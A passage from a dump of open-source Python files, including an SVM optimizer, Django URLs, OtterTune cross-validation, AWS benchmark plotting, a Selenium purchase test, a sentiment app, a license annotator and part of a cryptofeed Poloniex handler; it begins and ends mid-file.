self.b)\n\n # \u66f4\u65b0\u7684\u53d8\u5316\u91cf\u7684\u7edd\u5bf9\u503c\u8981\u5927\u4e8etol, \u4e14alpha\u8981\u6ee1\u8db3\u8f6f\u95f4\u9694C\u7684\u6761\u4ef6\u9650\u5236.\n # TODO(Steve R. Sun, tag:code): \u76f4\u63a5\u4f7f\u7528\u7edd\u5bf9\u503c\u4f1a\u5bfc\u81f4\u5f02\u5e38, \u4f46\u662f\u8fd9\u6837\u5c31\u80fd\u6b63\u5e38\u8fd0\u884c.\n if ((y_i * error_i < -self.tol) and (alpha_i < self.C)) or ((y_i * error_i > self.tol) and (0 < alpha_i)):\n # \u5b58\u5728\u975e\u8fb9\u754c\u62c9\u683c\u6717\u65e5\u4e58\u5b50.\n if np.sum(self.non_bound_alphas) > 0:\n j, error_j = select_second_alpha(error_i, self.error_cache, self.non_bound_alphas)\n if self._update_alpha(x, y, i, j, error_i, error_j):\n return 1\n\n # \u8bd5\u56fe\u9010\u5143\u7d20\u5f3a\u5236\u66f4\u65b0.\n for j in np.random.permutation(number_of_sample):\n error_j = calculate_error(x, y, j, self.kernel, self.alphas, self.non_zero_alphas, self.b)\n if self._update_alpha(x, y, i, j, error_i, error_j):\n return 1\n\n return 0\n\n def _update_alpha(self, x, y, i, j, error_i, error_j):\n \"\"\"\u66f4\u65b0\u62c9\u683c\u6717\u65e5\u4e58\u5b50.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n y: numpy.ndarray, array-like, \u6807\u7b7e.\n i: int, \u7b2ci\u4e2a\u6837\u672c.\n j: int, \u7b2cj\u4e2a\u6837\u672c.\n error_i: float, \u7b2ci\u4e2a\u6837\u672c\u7684\u8fdd\u80cc\u503c.\n error_j: float, \u7b2cj\u4e2a\u6837\u672c\u7684\u8fdd\u80cc\u503c.\n\n Returns:\n \u662f\u5426\u66f4\u65b0\u6210\u529f.\n \"\"\"\n if i == j:\n return False\n\n alpha_i_old = self.alphas[i].copy()\n alpha_j_old = self.alphas[j].copy()\n y_i = y[i, 0]\n y_j = y[j, 0]\n\n if y_i != y_j:\n low = _cml_precision.float(max(0.0, alpha_j_old - alpha_i_old))\n high = _cml_precision.float(min(self.C, self.C + alpha_j_old - alpha_i_old))\n else:\n low = _cml_precision.float(max(0.0, alpha_i_old + alpha_j_old - self.C))\n high = _cml_precision.float(min(self.C, alpha_i_old + alpha_j_old))\n\n if low == high: # \u4e8c\u7ef4\u7a7a\u95f4\u5bf9\u89d2\u7ebf\u91cd\u5408.\n return False\n\n x_i = x[[i], :]\n x_j = x[[j], :]\n\n kappa_ii = self.kernel(x_i, x_i)\n kappa_ij = self.kernel(x_i, x_j)\n kappa_ji = self.kernel(x_j, x_i)\n kappa_jj = self.kernel(x_j, x_j)\n\n eta = _cml_precision.float(kappa_ii + kappa_jj - 2 * kappa_ij)\n if eta <= 0: # 2-\u8303\u6570\u5c0f\u4e8e\u96f6.\n return False\n\n alpha_j_new = alpha_j_old + y_j * (error_i - error_j) / eta\n alpha_j_new = clip_alpha(alpha_j_new, low, high)\n\n if np.abs(alpha_j_new - alpha_j_old) < 1e-5: # \u66f4\u65b0\u5e45\u5ea6\u8fc7\u5c0f.\n return False\n\n alpha_i_new = _cml_precision.float(alpha_i_old + y_i * y_j * (alpha_j_old - alpha_j_new))\n\n # \u4e24\u4e2a\u53d8\u91cf\u4f18\u5316\u540e\u8981\u91cd\u65b0\u8ba1\u7b97\u504f\u7f6e.\n b_i = (-error_i - y_i * kappa_ii * (alpha_i_new - alpha_i_old)\n - y_j * kappa_ji * (alpha_j_new - alpha_j_old) + self.b)\n b_j = (-error_j - y_i * kappa_ij * (alpha_i_new - alpha_i_old)\n - y_j * kappa_jj * (alpha_j_new - alpha_j_old) + self.b)\n self.b = (b_i + b_j) / 2 # \u8fd9\u91cc\u91c7\u7528\u7684\u5468\u5fd7\u534e\u673a\u5668\u5b66\u4e60\u4e2d\u7684\u65b9\u6cd5, \u6c42\u89e3\u5e73\u5747\u503c\u66f4\u4e3a\u9c81\u68d2.\n\n self.alphas[i] = alpha_i_new\n self.alphas[j] = alpha_j_new\n\n # \u66f4\u65b0\u7f13\u5b58.\n self._update_error_cache(x, y)\n self._update_alpha_cache(alpha_i_new, i)\n self._update_alpha_cache(alpha_j_new, j)\n\n return True\n\n def _update_error_cache(self, x, y):\n \"\"\"\u66f4\u65b0\u8fdd\u80cc\u503c\u7f13\u5b58.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n y: numpy.ndarray, array-like, \u6807\u7b7e.\n \"\"\"\n for i in self.non_bound_alphas.nonzero()[0]:\n self.error_cache[i] = calculate_error(x, y, i, self.kernel, self.alphas, self.non_zero_alphas, self.b)\n\n def _update_alpha_cache(self, alpha, index):\n \"\"\"\u66f4\u65b0\u62c9\u683c\u6717\u65e5\u4e58\u5b50\u7f13\u5b58.\n\n Arguments:\n alpha: float, \u62c9\u683c\u6717\u65e5\u4e58\u5b50.\n index: int, \u62c9\u683c\u6717\u65e5\u4e58\u5b50\u7684\u4e0b\u6807.\n \"\"\"\n self.non_zero_alphas[index] = (alpha > 0)\n self.non_bound_alphas[index] = int(0 < alpha < self.C)\n\n\n# Aliases.\nSGD = StochasticGradientDescent\nSMO = SequentialMinimalOptimization\n", "source": "sun1638650145/classicML", "license": "Apache-2.0"} {"text": "# Copyright 2008-2015 Nokia Solutions and Networks\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport base64\nimport sys\n\n\ndef compress_text(text):\n return base64.b64encode(_compress(text.encode('UTF-8')))\n\n\nif not sys.platform.startswith('java'):\n\n import zlib\n\n def _compress(text):\n return zlib.compress(text, 9)\n\nelse:\n\n # Custom compress implementation was originally used to avoid memory leak\n # (http://bugs.jython.org/issue1775). Kept around still because it is a bit\n # faster than Jython's standard zlib.compress.\n\n from java.util.zip import Deflater\n import jarray\n\n _DEFLATOR = Deflater(9, False)\n\n def _compress(text):\n _DEFLATOR.setInput(text)\n _DEFLATOR.finish()\n buf = jarray.zeros(1024, 'b')\n compressed = []\n while not _DEFLATOR.finished():\n length = _DEFLATOR.deflate(buf, 0, 1024)\n compressed.append(buf[:length].tostring())\n _DEFLATOR.reset()\n return ''.join(compressed)\n", "source": "hoteltianya/RIDE", "license": "ECL-2.0"} {"text": "from django.conf.urls.defaults import *\nfrom piston.emitters import Emitter\nfrom piston.resource import Resource\nfrom realtimecongress_server.api.handlers import *\n\nurlpatterns = patterns('',\n url(r'^legislators.(?P.+)$', Resource(LegislatorHandler)),\n url(r'^legislation.(?P.+)$', Resource(LegislationHandler)),\n url(r'^rollcalls.(?P.+)$', Resource(RollCallHandler)),\n)\n", "source": "sunlightlabs/realtimecongress-server-old", "license": "BSD-3-Clause"} {"text": "# coding utf-8\nimport sys\n\nw=sys.argv[1]\nfor x in range(0,len(w)):print(chr(ord(w[x])-x),end=\"\")\n", "source": "SpenderJ/snowcrash", "license": "MIT"} {"text": "#\n# OtterTune - cross_validation.py\n#\n# Copyright (c) 2017-18, Carnegie Mellon University Database Group\n#\n'''\nCreated on Aug 29, 2016\n\n@author: dvanaken\n'''\n\nfrom collections import namedtuple\n\nimport cPickle as pickle\nimport gc\nimport numpy as np\nimport tensorflow as tf\nfrom fabric.api import local\nfrom sklearn.model_selection import KFold\nfrom sklearn.utils.validation import _is_arraylike, check_X_y\n\nfrom .util import get_analysis_logger, stopwatch\n\nLOG = get_analysis_logger(__name__)\n\nGridScore = namedtuple('GridScore', ['parameters', 'mean_scores', 'cv_scores'])\n\n\ndef mp_grid_search((task_id, # pylint: disable=unused-argument\n parameters,\n estimator,\n kf,\n X,\n y,\n score_fns,\n ntasks)): # pylint: disable=unused-argument\n estimator.set_params(**parameters)\n sparams = estimator.get_params()\n nfolds = kf.n_folds\n scores = np.empty((nfolds, len(score_fns)))\n\n for i, (train_idx, test_idx) in enumerate(kf.split(X)):\n X_train, y_train = X[train_idx], y[train_idx]\n X_test, y_test = X[test_idx], y[test_idx]\n\n with tf.Graph().as_default():\n estimator.fit(X_train, y_train)\n ypreds, sigmas, _ = estimator.predict(X_test)\n gc.collect()\n for j, score_fn in enumerate(score_fns):\n scores[i, j] = score_fn(y_test, ypreds, sigmas)\n LOG.info(\"\\tCompleted %d/%d folds\", i + 1, nfolds)\n mean_scores = scores.mean(axis=0)\n grid_score = GridScore(sparams, mean_scores, scores)\n return grid_score\n\n\nclass GridSearch(object):\n\n def __init__(self, estimator_cls, parameter_grid, score_fns,\n nfolds=10, shuffle=False, seed=None, njobs=1,\n checkpoint_path=None):\n self.estimator_cls = estimator_cls\n self.parameter_grid = parameter_grid\n self.nfolds = nfolds\n self.seed = seed\n assert njobs == 1, \"# jobs > 1 not supported.\"\n self.njobs = njobs\n assert _is_arraylike(score_fns)\n self.score_fns = score_fns\n self.checkpoint_path = checkpoint_path\n self.grid_scores = None\n self.kf = KFold(n_splits=self.nfolds,\n shuffle=shuffle,\n random_state=seed)\n\n def __repr__(self):\n rep = \"\"\n for k, v in self.__dict__.iteritems():\n rep += \"{} = {}\\n\".format(k, v)\n return rep\n\n def __str__(self):\n return self.__repr__()\n\n def fit(self, X, y):\n X, y = check_X_y(X, y, allow_nd=True, multi_output=True,\n y_numeric=True, estimator=\"GridSearch\")\n LOG.info(\"njobs = %d\", self.njobs)\n if self.njobs > 1:\n assert False\n# iterable = [(i, pg, self.estimator_cls, self.kf, X, y, \\\n# self.score_fns, len(self.parameter_grid)) \\\n# for i,pg in enumerate(self.parameter_grid)]\n# try:\n# p = multiprocessing.Pool(self.njobs)\n# res = p.map(mp_grid_search, iterable)\n# except:\n# traceback.print_exc()\n else:\n self.grid_scores = []\n estimator = self.estimator_cls()\n num_tasks = len(self.parameter_grid)\n for i, params in enumerate(self.parameter_grid):\n LOG.info(\"Starting task %d/%d...\", i + 1, num_tasks)\n with stopwatch(\"Done. Elapsed time\"):\n self.grid_scores.append(mp_grid_search((i,\n params,\n estimator,\n self.kf,\n X,\n y,\n self.score_fns,\n len(self.parameter_grid))))\n\n if self.checkpoint_path is not None:\n local(\"rm -f {}*.p\".format(self.checkpoint_path))\n savepath = self.checkpoint_path + \"_{}.p\".format(i)\n with open(savepath, 'w') as f:\n pickle.dump(self.grid_scores, f)\n\n @staticmethod\n def create_parameter_grid(param_dict):\n from sklearn.model_selection import ParameterGrid\n return ParameterGrid(param_dict)\n\n\ndef rmse_cv(y_reals, y_preds, sigmas): # pylint: disable=unused-argument\n assert y_preds.shape == y_reals.shape\n return np.sqrt(np.mean(np.square(y_preds - y_reals)))\n\n\ndef gpvar_cv(y_reals, y_preds, sigmas):\n y_reals = y_reals.ravel()\n y_preds = y_preds.ravel()\n sigmas = sigmas.ravel()\n y_upper = y_preds + 1.96 * sigmas\n y_lower = y_preds - 1.96 * sigmas\n bounded_ys = np.logical_and(y_reals <= y_upper, y_reals >= y_lower)\n res = 1 - float(np.sum(bounded_ys)) / y_preds.shape[0]\n assert res >= 0 and res <= 1\n return res\n\n\nCombinedScore = namedtuple('CombinedScore', ['combined_scores',\n 'scaled_scores',\n 'combined_indices',\n 'rmse_indices',\n 'gpvar_indices'])\n\n\ndef combine_rmse_gpvar(grid_scores, w_rmse=0.8, w_gpvar=0.2):\n from sklearn.preprocessing import minmax_scale\n\n # Scale rmses, gpvars to (0,1)\n scaled_scores = np.empty((len(grid_scores), 2))\n for i, scores in enumerate(grid_scores):\n scaled_scores[i, 0] = scores.mean_scores[0]\n scaled_scores[i, 1] = scores.mean_scores[1]\n rmse_sort_indices = np.argsort(scaled_scores[:, 0])\n gpvar_sort_indices = np.argsort(scaled_scores[:, 1])\n scaled_scores = minmax_scale(scaled_scores)\n combined_scores = w_rmse * scaled_scores[:, 0] + w_gpvar * scaled_scores[:, 1]\n comb_sort_indices = np.argsort(combined_scores)\n return CombinedScore(combined_scores,\n scaled_scores,\n comb_sort_indices,\n rmse_sort_indices,\n gpvar_sort_indices)\n", "source": "newopscn/ottertune", "license": "Apache-2.0"} {"text": "import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import plot, figure, imshow, show, xlabel, ylabel, legend, gca, subplot, title, tight_layout, savefig\nimport matplotlib.ticker as mtick\n\n# Load timings\ncwd = os.getcwd()\npath = cwd + '/results/'\n\nfile_list = os.listdir(path)\n\nfile_timings = []\ninstance_no = np.array([1, 2, 4, 8, 16, 32, 64, 128])\nnum_scalings = len(instance_no)\nnum_runs_per_scaling = 10\n\nfor batchsize in instance_no:\n for run in range(num_runs_per_scaling):\n for filename in file_list:\n if filename[0:int(23 + len(str(batchsize)) + len(str(run)))] == \\\n 'timings_batchsize_' + str(batchsize) + '_run_' + str(run):\n file_timings.append(filename)\n\nprint(\"Found \", len(file_timings), \" file(s).\")\ntimings = []\nfor filename in file_timings:\n timings.append(np.load(path + filename, allow_pickle=True))\n\n# Timings\n# create=0; start=1; end=2; var=3;\njob_time = np.zeros((num_scalings, num_runs_per_scaling))\ncontainer_time = np.zeros((num_scalings, num_runs_per_scaling))\ncontainer_time_err = np.zeros((num_scalings, num_runs_per_scaling))\nreduction_time = np.zeros((num_scalings, num_runs_per_scaling))\n\n# Cost\ncost = np.zeros((num_scalings, num_runs_per_scaling))\nspot_price_per_hour = 0.2748 # m4.4xlarge (10:11 AM EDT, 4/5/2019, Region US-East/N. Virginia)\nspot_price_per_sec = spot_price_per_hour / 60 / 60\n\nidx = 0\nfor j in range(num_scalings):\n for k in range(num_runs_per_scaling):\n T = timings[idx]\n\n t1 = (T[:,3] - T[:,0]) / 1e3\n job_time[j, k] = np.mean(t1)\n\n t2 = (T[:,2] - T[:,1]) / 1e3\n container_time[j, k] = np.mean(t2)\n container_time_err[j, k] = np.std(t2)\n cost[j, k] = np.sum(t2) / instance_no[j] * spot_price_per_sec\n\n t3 = np.abs((T[:,3] - T[:,2]) / 1e3)\n reduction_time[j, k] = np.min(t3, axis=0)\n\n idx += 1\n#95: 1.96\ndef confidence_interval(x, z=1.645):\n x_mean = np.mean(x, axis=1)\n x_std = np.std(x, axis=1)\n n_sqrt = np.sqrt(x.shape[1])\n return z*x_std / n_sqrt\n\n# Full time-to-solution and its individual components\nfig, ax = plt.subplots(figsize=(3.33, 3))\nax.bar(np.log(instance_no), np.mean(job_time, axis=1), yerr=confidence_interval(job_time), align='center', alpha=0.8, ecolor='black', width=.3, capsize=3)\nax.bar(np.log(instance_no), np.mean(container_time, axis=1), yerr=confidence_interval(container_time), align='center', alpha=0.8, ecolor='black', width=.3, capsize=3)\nax.bar(np.log(instance_no), np.mean(reduction_time, axis=1), yerr=confidence_interval(reduction_time), align='center', alpha=0.8, ecolor='black', width=.3, capsize=3)\nplt.xticks(np.log(instance_no), ('1', '2', '4', '8', '16', '32', '64', '128'))\nax.set_xlabel('No. of instances', fontsize=10)\nax.set_ylabel('Time-to-solution [s]', fontsize=10)\nax.tick_params(axis='y', labelsize=10)\nax.tick_params(axis='x', labelsize=10)\nax.set_ylim([0, 1000])\nplt.legend(['Full job', 'Container', 'Reduction'], fontsize=9)\nplt.tight_layout()\nsavefig('weak_scaling_gradients.png', dpi=600, format='png')\n\n# Average startup time\nstartup_times = job_time - container_time - reduction_time\nfig, ax = plt.subplots(figsize=(3.33, 3))\nax.bar(np.log(instance_no), np.mean(startup_times, axis=1), yerr=confidence_interval(startup_times), align='center', alpha=0.8, ecolor='black', width=.3, capsize=3)\nplt.xticks(np.log(instance_no), ('1', '2', '4', '8', '16', '32', '64', '128'))\nax.set_xlabel('No. of instances', fontsize=10)\nax.set_ylabel('Average startup time [s]', fontsize=10)\nax.tick_params(axis='y', labelsize=10)\nax.tick_params(axis='x', labelsize=10)\nplt.tight_layout()\nsavefig('job_runtime_first.png', dpi=600, format='png')\n\n# Average container runtime and cost\nfig, ax1 = plt.subplots(figsize=(3.66, 3))\nax1.set_xlabel('No. of instances', fontsize=10)\nax1.set_ylabel('Average container runtime [s]', fontsize=10)\nax1.bar(np.log(instance_no), np.mean(container_time, axis=1), yerr=confidence_interval(container_time), align='center', alpha=0.8, ecolor='black', width=.32, capsize=3, color='white')\nax1.tick_params(axis='y', labelsize=10)\nax1.tick_params(axis='x', labelsize=10)\naxx1 = gca()\nax1.set_ylim([0, axx1.get_ylim()[1]*1.15])\n\nax2 = ax1.twinx() # instantiate a second axes that shares the same x-axis\nax2.set_ylabel('Total cost [$]', fontsize=10)\nax2.bar(np.log(instance_no), np.mean(cost, axis=1), yerr=confidence_interval(cost), align='center', alpha=0.8, ecolor='black', width=.32, capsize=3)\nax2.bar(np.log(instance_no), np.mean(cost, axis=1), yerr=confidence_interval(cost), align='center', alpha=0.8, ecolor='black', width=.32, capsize=3)\nplt.xticks(np.log(instance_no), ('1', '2', '4', '8', '16', '32', '64', '128'))\nax2.tick_params(axis='y', labelsize=10)\nfig.tight_layout() # otherwise the right y-label is slightly clipped\naxx2 = gca()\nax2.set_ylim([0, axx2.get_ylim()[1]*1.15])\nsavefig('container_runtime_cost.png', dpi=600, format='png')\n\n# Plot additional reduction time\nfig, ax = plt.subplots(figsize=(3.33, 3))\nax.bar(np.log(instance_no), np.mean(reduction_time, axis=1), yerr=confidence_interval(reduction_time), align='center', alpha=0.8, ecolor='black', width=.3, capsize=3, color='green')\nplt.xticks(np.log(instance_no), ('1', '2', '4', '8', '16', '32', '64', '128'))\nax.set_xlabel('No. of instances', fontsize=10)\nax.set_ylabel('Additional reduction time [s]', fontsize=10)\nax.tick_params(axis='y', labelsize=10)\nax.tick_params(axis='x', labelsize=10)\nplt.tight_layout()\nsavefig('reduction_runtime_mean.png', dpi=600, format='png')\n\nplt.show()\n", "source": "slimgroup/ServerlessImagingAWS", "license": "MIT"} {"text": "# from distutils.core import setup\nfrom setuptools import setup, find_packages\nsetup(name='resttools',\n version='1.0',\n description='UW-IT REST library',\n packages=find_packages(),\n include_package_data=True,\n )\n", "source": "mattjmuw/iam-resttools", "license": "Apache-2.0"} {"text": "import pytest\nfrom seleniumbase import BaseCase\n\nfrom qa327_test.conftest import base_url\nfrom datetime import date, timedelta\n\ndateTime = date.today()\ndateTime = dateTime + timedelta(days=10)\nfuture_date = dateTime.strftime(\"%Y-%m-%d\")\nformat_date = dateTime.strftime(\"%Y-%m-%d\")\n\n\n@pytest.mark.usefixtures('server')\nclass IntegrationPurchaseTest(BaseCase):\n\n def register_and_login(self, email, user, password):\n\n # register\n self.open(base_url + '/register')\n self.type(\"#email\", email)\n self.type(\"#name\", user)\n self.type(\"#password\", password)\n self.type(\"#password2\", password)\n self.click('input[type=\"submit\"]')\n\n # log in\n self.open(base_url + '/login')\n self.type('#email', email)\n self.type('#password', password)\n self.click('input[type=\"submit\"]')\n\n def test_purchase(self, *_):\n \"\"\"\n Test that one user can post a ticket for sale, then another user can purchase that ticket, using full system\n from login through logout\n \"\"\"\n\n # first user\n self.register_and_login('user@domain.com', 'test user', 'Password!1')\n\n # post a ticket for sale\n self.type(\"#sell_ticket_name\", \"PurchaseTestTicket\")\n self.type(\"#sell_num_tickets\", \"15\")\n self.type(\"#sell_ticket_price\", \"20\")\n self.type(\"#sell_ticket_date\", future_date) # use date that is ahead of today's date\n self.click('input[id=\"sell_btn-submit\"]')\n\n # Check for posted ticket in table\n self.driver.find_element_by_id('PurchaseTestTicket%20%15%' + format_date + '%user@domain.com').text\n\n # check that url is /sell\n self.assertEqual(self.get_current_url(), base_url + \"/sell\")\n\n # logout\n self.open(base_url + '/logout')\n\n # enter second user\n self.register_and_login('user2@domain.com', 'test user two', 'Password!2')\n\n # purchase some tickets\n purchase_num_tickets = 5\n self.type(\"#buy_ticket_name\", \"PurchaseTestTicket\")\n self.type(\"#buy_num_tickets\", str(purchase_num_tickets))\n self.click('input[id=\"buy_btn-submit\"]')\n\n # Check purchased tickets have gone\n self.driver.find_element_by_id('PurchaseTestTicket%20%' + str(15-purchase_num_tickets) + '%' + format_date +\n '%user@domain.com')\n\n # check that url is /buy\n self.assertEqual(self.get_current_url(), base_url + \"/buy\")\n\n # logout\n self.open(base_url + '/logout')\n", "source": "TankyFranky/CMPE-327-SOFT_QUAL_ASSU", "license": "MIT"} {"text": "import numpy as np\r\nimport pandas as pd\r\nimport pickle\r\nimport streamlit as st\r\nfrom nltk.corpus import stopwords\r\nfrom sklearn import metrics\r\nstop = stopwords.words('english')\r\nfrom sklearn.metrics import confusion_matrix #import confusion_matrix\r\nfrom sklearn.naive_bayes import MultinomialNB\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\n\r\ntest = pd.read_csv('drugsComTest_raw.csv') #train data\r\ntrain = pd.read_csv('drugsComTrain_raw.csv')\r\nmerge = [train,test]\r\nmerged_data = pd.concat(merge,ignore_index=True)\r\nmerged_data.isnull().sum()/merged_data.shape[0]\r\nmerged_data['date'] = pd.to_datetime(merged_data['date'])\r\nmerged_data['year'] = merged_data['date'].dt.year #create year\r\nmerged_data['month'] = merged_data['date'].dt.month \r\nmerged_data['sentiment'] = merged_data[\"rating\"].apply(lambda x: 1 if x > 5 else 0)\r\nmerged_data.dropna(inplace=True, axis=0)\r\nvectorizer = TfidfVectorizer()\r\nreviews_corpus = vectorizer.fit_transform(merged_data.review)\r\nsentiment = merged_data['sentiment']\r\nX_train,X_test,Y_train,Y_test = train_test_split(reviews_corpus,sentiment,test_size=0.33,random_state=42)\r\nprint('Train data shape ',X_train.shape,Y_train.shape)\r\nprint('Test data shape ',X_test.shape,Y_test.shape)\r\nclf = MultinomialNB().fit(X_train, Y_train) #fit the training data\r\n\r\npred = clf.predict(X_test) #predict the sentiment for test data\r\nscore = clf.score(X_test, Y_test)\r\nprint(\"Accuracy: %s\" % str(clf.score(X_test, Y_test))) #check accuracy\r\nprint(\"Confusion Matrix\") \r\nprint(confusion_matrix(pred, Y_test))\r\n\r\ndef app():\r\n text = st.text_input(\"Enter a text :\")\r\n if text!=None:\r\n st.write(score)\r\n tx =[]\r\n tx.append(text)\r\n tx = vectorizer.transform(tx)\r\n pred1=clf.predict(tx)[0]\r\n if st.button('Submit'):\r\n st.write(pred1)\r\n if pred1 == 0:\r\n st.write(\"Negative\")\r\n else:\r\n st.write(\"Postive\")", "source": "KiranKhanna721/College-Projects", "license": "MIT"} {"text": "import os\nimport xmlrpclib\n\n\nclass CondaLicenseDownloader(object):\n \"\"\"\n License data is available on anaconda.com for all packages.\n \"\"\"\n LICENSE_URLS = {\n \"py2\": \"https://docs.anaconda.com/anaconda/packages/old-pkg-lists/4.3.1/py27/\",\n \"py3\": \"https://docs.anaconda.com/anaconda/packages/old-pkg-lists/4.3.1/py35/\"\n }\n\n @classmethod\n def get_conda_licenses(cls, environment):\n \"\"\"\n Download and parse continuum webpage with license data\n \"\"\"\n\n # make these imports local so we do not need to install libraries if this function is not run\n from bs4 import BeautifulSoup\n import requests\n\n url = cls.LICENSE_URLS.get(environment)\n page = requests.get(url)\n soup = BeautifulSoup(page.text, \"lxml\")\n rows = soup.select(\"table.docutils tr\")\n table = [row.select('td') for row in rows]\n return {row[0].select('a')[0].text: row[2].text.split('/')[-1].strip()\n for row in table if row and len(row) == 4}\n\nclass PyLicense(object):\n def __init__(self, environment):\n self.environment = environment\n self.client = xmlrpclib.ServerProxy('https://pypi.python.org/pypi')\n if environment:\n self.conda_licenses = CondaLicenseDownloader.get_conda_licenses(environment)\n\n @classmethod\n def _regularize_license(cls, license):\n if not license:\n return None\n\n license = license.strip()\n if license == \"UNKNOWN\":\n return None\n elif \"\\n\" in license:\n return None\n else:\n return license\n\n @classmethod\n def _maybe_license_comment(cls, line, license):\n if not license:\n return \"\"\n\n if line.endswith(license):\n return \"\"\n\n if \" #\" in line:\n return \", \" + license\n\n return \" # \" + license\n\n def _get_license(self, package, version):\n info = self.client.release_data(package, version)\n if not info:\n info = self.client.release_data(package.title(), version)\n license = self._regularize_license(info.get('license'))\n if license:\n return license.rstrip()\n\n classifiers = info.get('classifiers')\n if not classifiers:\n return None\n\n for classifier in classifiers:\n if classifier.startswith(\"License\"):\n return classifier.rstrip()\n\n return None\n\n def _get_dependency_license(self, line, dep_sep, num_positions):\n dependency = line.split('#')[0].strip()\n if not dependency or dependency.startswith('git+https://github.com'):\n return \"\"\n\n dep_array = dependency.split(dep_sep)\n if len(dep_array) != num_positions:\n return \"\"\n\n package, version = dep_array[:2]\n license = self._get_license(package, version)\n\n return self._maybe_license_comment(line, license)\n\n def _get_pip_license(self, line):\n return self._get_dependency_license(line, '==', 2)\n\n def _get_conda_license(self, line):\n license = self._get_dependency_license(line, '=', 3)\n\n if not license:\n license = self.conda_licenses.get(line.split(\"=\")[0], '')\n\n return self._maybe_license_comment(line, license)\n\n _CONDA_PREFIX = '- '\n _PIP_PREFIX = ' - '\n _PIP_LINE = ' - pip:'\n\n def process_environment_line(self, line):\n \"\"\"\n Processes a line from environment.yml\n \"\"\"\n line = line.rstrip()\n if line.startswith(self._CONDA_PREFIX):\n if line == self._PIP_LINE:\n return self._PIP_LINE\n return line + self._get_conda_license(line[len(self._CONDA_PREFIX):])\n elif line.startswith(self._PIP_PREFIX):\n return line + self._get_pip_license(line[len(self._PIP_PREFIX):])\n else:\n return line\n\n def process_requirements_line(self, line):\n \"\"\"\n Processes a line from requirements.txt\n \"\"\"\n return line.rstrip() + self._get_pip_license(line)\n\n def process_stream(self, stream):\n \"\"\"\n Processes lines from stream\n \"\"\"\n for line in stream:\n if args.environment:\n yield self.process_environment_line(line)\n else:\n yield self.process_requirements_line(line)\n\n\nif __name__ == '__main__':\n import argparse\n\n parser = argparse.ArgumentParser(description='Adds license information to dependency file (i.e. requirements.txt or environment.yml) as comment')\n parser.add_argument('-e', '--environment', default=False, choices=(\"py2\", \"py3\"), help=\"specify value for environment.yml, (requirements.txt is default)\")\n parser.add_argument('-s', '--stdout', action='store_true', default=False, help='print new dependency file to stdout (default rewrites input file)')\n parser.add_argument('file', help='dependency file')\n args = parser.parse_args()\n\n with open(os.path.expanduser(args.file)) as stream:\n pylicense = PyLicense(environment=args.environment)\n output = [o for o in pylicense.process_stream(stream)]\n\n # must open file to rewrite it\n if args.stdout:\n print(\"\\n\".join(output))\n else:\n with open(args.file, \"w\") as fh:\n fh.write(\"\\n\".join(output))\n\n", "source": "colin1alexander/pylicense", "license": "MIT"} {"text": "'''\r\nCopyright (C) 2017-2020 Bryant Moscon - bmoscon@gmail.com\r\n\r\nPlease see the LICENSE file for the terms and conditions\r\nassociated with this software.\r\n'''\r\nimport calendar\r\nimport logging\r\nimport time\r\nfrom decimal import Decimal\r\n\r\nfrom sortedcontainers import SortedDict as sd\r\nfrom yapic import json\r\n\r\nfrom cryptofeed.defines import BID, ASK, BUY, L2_BOOK, POLONIEX, SELL, TICKER, TRADES, VOLUME\r\nfrom cryptofeed.exceptions import MissingSequenceNumber\r\nfrom cryptofeed.feed import Feed\r\nfrom cryptofeed.pairs import poloniex_id_pair_mapping\r\nfrom cryptofeed.standards import feed_to_exchange, pair_exchange_to_std\r\n\r\n\r\nLOG = logging.getLogger('feedhandler')\r\n\r\n\r\nclass Poloniex(Feed):\r\n id = POLONIEX\r\n\r\n def __init__(self, pairs=None, channels=None, callbacks=None, config=None, **kwargs):\r\n self.pair_mapping = poloniex_id_pair_mapping()\r\n super().__init__('wss://api2.poloniex.com',\r\n pairs=pairs,\r\n channels=channels,\r\n callbacks=callbacks,\r\n config=config,\r\n **kwargs)\r\n \"\"\"\r\n Due to the way poloniex subcriptions work, need to do some\r\n ugly manipulation of the config/channels,pairs to create a list\r\n of channels to subscribe to for poloniex as well as a callback map\r\n that we can use to determine if an update should be delivered to the\r\n end client or not\r\n \"\"\"\r\n p_ticker = feed_to_exchange(self.id, TICKER)\r\n p_volume = feed_to_exchange(self.id, VOLUME)\r\n\r\n if channels:\r\n self.channels = self.pairs\r\n check = channels\r\n self.callback_map = {channel: set(pairs) for channel in channels if channel not in {p_ticker, p_volume}}\r\n elif config:\r\n self.channels = []\r\n for c, v in self.config.items():\r\n if c not in {p_ticker, p_volume}:\r\n self.channels.extend(v)\r\n check = config\r\n self.callback_map = {key: set(value) for key, value in config.items()}\r\n\r\n if TICKER in check:\r\n self.channels.append(p_ticker)\r\n if VOLUME in check:\r\n self.channels.append(p_volume)\r\n # channels = pairs = cannot have duplicates\r\n self.channels = list(set(self.channels))\r\n\r\n self.__reset()\r\n\r\n def __do_callback(self, channel, pair):\r\n return channel in self.callback_map and pair in self.callback_map[channel]\r\n\r\n def __reset(self):\r\n self.l2_book = {}\r\n self.seq_no = {}\r\n\r\n async def _ticker(self, msg: dict, timestamp: float):\r\n # currencyPair, last, lowestAsk, highestBid, percentChange, baseVolume,\r\n # quoteVolume, isFrozen, 24hrHigh, 24hrLow\r\n pair_id, _, ask, bid, _, _, _, _, _, _ = msg\r\n if pair_id not in self.pair_mapping:\r\n # Ignore new trading pairs that are added during long running sessions\r\n return\r\n pair = pair_exchange_to_std(self.pair_mapping[pair_id])\r\n if self.__do_callback(TICKER, pair):\r\n await self.callback(TICKER, feed=self.id,\r\n pair=pair,\r\n bid=Decimal(bid),\r\n ask=Decimal(ask),\r\n timestamp=timestamp,\r\n receipt_timestamp=timestamp)\r\n\r\n async def _volume(self, msg: list, timestamp: float):\r\n # ['2018-01-02 00:45', 35361, {'BTC': '43811.201', 'ETH': '6747.243', 'XMR': '781.716', 